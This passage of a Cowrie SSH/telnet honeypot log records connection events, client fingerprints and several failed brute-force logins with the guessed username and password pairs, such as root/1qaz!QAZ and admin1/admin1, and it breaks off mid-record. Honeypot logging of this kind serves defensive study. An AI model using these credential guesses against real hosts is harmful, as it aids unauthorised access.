{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:39.465749Z","src_ip":"172.237.20.62","session":"64019ae57d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:40.020397Z","src_ip":"172.237.20.62","session":"64019ae57d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:41.186176Z","src_ip":"172.237.20.62","session":"64019ae57d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58320,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcb1eb9dd6ac","protocol":"ssh","message":"New connection: 172.237.20.62:58320 (159.203.135.109:22) [session: fcb1eb9dd6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:50.167202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:50.172730Z","src_ip":"172.237.20.62","session":"fcb1eb9dd6ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:50.358374Z","src_ip":"172.237.20.62","session":"fcb1eb9dd6ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:50.857647Z","src_ip":"172.237.20.62","session":"fcb1eb9dd6ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:52.022181Z","src_ip":"172.237.20.62","session":"fcb1eb9dd6ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":51772,"dst_ip":"10.17.0.5","dst_port":23,"session":"cad53191251e","protocol":"telnet","message":"New connection: 49.88.156.34:51772 (10.17.0.5:23) [session: cad53191251e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:59.762770Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":51940,"dst_ip":"10.17.0.5","dst_port":23,"session":"6650e6f393e4","protocol":"telnet","message":"New connection: 49.88.156.34:51940 (10.17.0.5:23) [session: 6650e6f393e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:00.841184Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce48d53a21ea","protocol":"ssh","message":"New connection: 172.237.20.62:45536 (159.203.135.109:22) [session: ce48d53a21ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:01.018981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:01.023475Z","src_ip":"172.237.20.62","session":"ce48d53a21ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:01.185000Z","src_ip":"172.237.20.62","session":"ce48d53a21ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:01.687106Z","src_ip":"172.237.20.62","session":"ce48d53a21ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:02.858098Z","src_ip":"172.237.20.62","session":"ce48d53a21ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34878,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6f4e018de2d","protocol":"ssh","message":"New connection: 172.237.20.62:34878 (159.203.135.109:22) [session: e6f4e018de2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:11.953207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:11.957851Z","src_ip":"172.237.20.62","session":"e6f4e018de2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:12.148968Z","src_ip":"172.237.20.62","session":"e6f4e018de2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:12.643436Z","src_ip":"172.237.20.62","session":"e6f4e018de2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:13.813761Z","src_ip":"172.237.20.62","session":"e6f4e018de2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":61096,"dst_ip":"10.17.0.5","dst_port":22,"session":"56a8ea4ae95e","protocol":"ssh","message":"New connection: 194.59.206.2:61096 (10.17.0.5:22) [session: 56a8ea4ae95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:22.063744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:22.069088Z","src_ip":"194.59.206.2","session":"56a8ea4ae95e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:22.161835Z","src_ip":"194.59.206.2","session":"56a8ea4ae95e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:22.253213Z","src_ip":"194.59.206.2","session":"56a8ea4ae95e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42990,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cce583d8a12","protocol":"ssh","message":"New connection: 172.237.20.62:42990 (159.203.135.109:22) [session: 7cce583d8a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:23.005762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:23.057959Z","src_ip":"172.237.20.62","session":"7cce583d8a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:23.168755Z","src_ip":"172.237.20.62","session":"7cce583d8a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:23.809290Z","src_ip":"172.237.20.62","session":"7cce583d8a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:24.975803Z","src_ip":"172.237.20.62","session":"7cce583d8a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.184.249.3","src_port":46581,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb22fb8aeae4","protocol":"telnet","message":"New connection: 223.184.249.3:46581 (159.203.135.109:23) [session: fb22fb8aeae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:32.872923Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44362,"dst_ip":"159.203.135.109","dst_port":22,"session":"22a9df5b7396","protocol":"ssh","message":"New connection: 172.237.20.62:44362 (159.203.135.109:22) [session: 22a9df5b7396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:33.996795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:34.001739Z","src_ip":"172.237.20.62","session":"22a9df5b7396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:34.163108Z","src_ip":"172.237.20.62","session":"22a9df5b7396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:34.645081Z","src_ip":"172.237.20.62","session":"22a9df5b7396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:35.863014Z","src_ip":"172.237.20.62","session":"22a9df5b7396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":60332,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a0580c41f9","protocol":"ssh","message":"New connection: 172.237.20.62:60332 (159.203.135.109:22) [session: e8a0580c41f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.025642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.030778Z","src_ip":"172.237.20.62","session":"e8a0580c41f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.189600Z","src_ip":"172.237.20.62","session":"e8a0580c41f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":30658,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a0de9aa2ab","protocol":"ssh","message":"New connection: 84.239.42.8:30658 (159.203.135.109:22) [session: 77a0de9aa2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.250995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:13:45.255646Z","src_ip":"84.239.42.8","session":"77a0de9aa2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1